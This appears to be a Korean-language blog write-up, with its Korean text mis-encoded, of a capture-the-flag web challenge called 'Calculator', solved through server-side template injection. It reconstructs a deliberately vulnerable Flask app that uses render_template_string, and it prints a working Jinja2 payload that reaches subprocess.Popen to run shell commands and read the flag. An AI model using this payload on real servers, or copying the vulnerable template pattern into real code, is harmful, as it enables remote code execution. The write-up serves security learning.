wargame ๐Ÿด‍โ˜ ๏ธ write-up/H4CKING GAME

[Web Hacking] Calculator

Kortsec1 2024. 12. 19. 20:43

0x01 ๋ฌธ์ œ ์„ค๋ช…


0x02 ํ’€์ด ๊ณผ์ •

๊ฐ„๋‹จํ•œ ๊ณ„์‚ฐ๊ธฐ ํ”„๋กœ๊ทธ๋žจ์ด๋‹ค. ์—ฌ๋Ÿฌ ๊ฐ’์„ ๋„ฃ๊ณ  ํ…Œ์ŠคํŠธ ํ•œ ๊ฒฐ๊ณผ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  • 1+2 → 3
  • 3*4 → 12
  • ‘7’*7 → 7777777
  • config → <Config {'ENV': 'production', 'DEBUG': False, 'TE…

SSTI (Server Side Template Injection) ์ทจ์•ฝ์ ์ด ์žˆ๋Š”๊ฒƒ์œผ๋กœ ํ™•์ธ๋˜๋ฉฐ, {{ }} ${ } <%= %>์™€ ๊ฐ™์€ ๊ตฌ๋ฌธ ์—†์ด ๋ฐ”๋กœ ์ ์šฉ๋จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜์™€ ์ฝ”๋“œ ๊ฐ™์ด ์ค‘์ฒฉ๊ด„ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•œ ํ™˜๊ฒฝ์„ ์˜ˆ์ƒํ•ด๋ณธ๋‹ค.

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    expression = request.args.get('expression', '')

    template = f"""
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>SSTI Vulnerable Page</title>
    </head>
    <body>
        <h1>SSTI Vulnerable Calculator</h1>
        <form method="GET" action="/">
            <label for="expression">Enter a calculation:</label>
            <input type="text" id="expression" name="expression" />
            <button type="submit">Calculate</button>
        </form>
        <h2>Output:</h2>
        <p>{{{{ {expression} }}}}</p>
    </body>
    </html>
    """
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

SSTI๋ฅผ ์ด์šฉํ•œ RCE (Remote Code Execution) ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜์˜€๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„  ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ๊ณผ ์ฒ˜๋ฆฌ๋ฅผ ๋‹ด๋‹นํ•˜๋Š” subprocess.Popen ํด๋ž˜์Šค๋ฅผ ์ด์šฉํ•ด์•ผ ํ•œ๋‹ค.

์œ„ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ''.__class__.__mro__[1].__subclasses__()[213] ์— ์œ„์น˜ํ•ด ์žˆ์Œ์„ ํ™•์ธํ•˜์˜€๋‹ค.

''.__class__.__mro__[1].__subclasses__()[213](request.form.get('shell'),stdout=-1,shell=True).communicate()

Burp Suite ํ”„๋กœ๊ทธ๋žจ์„ ์ด์šฉํ•˜์—ฌ POST ์š”์ฒญ ์† shell ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ ํƒ์ƒ‰์„ ํ•˜์˜€๋‹ค. flag ํŒŒ์ผ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ๊ณ  ์ด๋ฅผ ์ฝ์œผ๋ฉฐ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜์˜€๋‹ค.


0x03 ๊ฒฐ๊ณผ ํ™•์ธ

flag

๋”๋ณด๊ธฐ

H4CGM{asdfasdfasdfasdfasdf}


0x04 ์ฐธ๊ณ  ๋ฐ ํ•™์Šต ๋‚ด์šฉ

SSTI ์™€ RCE ์—ฐ๊ณ„ ๊ณต๊ฒฉ์„ ์‹œํ—˜ํ•˜๊ธฐ ์•„์ฃผ ์ ์ ˆํ•œ ํ™˜๊ฒฝ์ด์—ˆ๋‹ค. ๊ธฐ๋ณธ์ ์ธ ๊ฐœ๋…๋งŒ ์ž˜ ์•ˆ๋‹ค๋ฉด ์†์‰ฝ๊ฒŒ ํ’€ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ๋‹ค.

SSTI ๊ฐœ๋… ๊ด€๋ จ ์ฐธ๊ณ 

subprocess.Popen ๊ด€๋ จ ์ฐธ๊ณ 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > H4CKING GAME' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Web Hacking] Calculator v2  (0) 2025.01.02
[Web Hacking] Real PHP LFI  (0) 2025.01.02
[Web Hacking] Smuggling  (0) 2024.12.30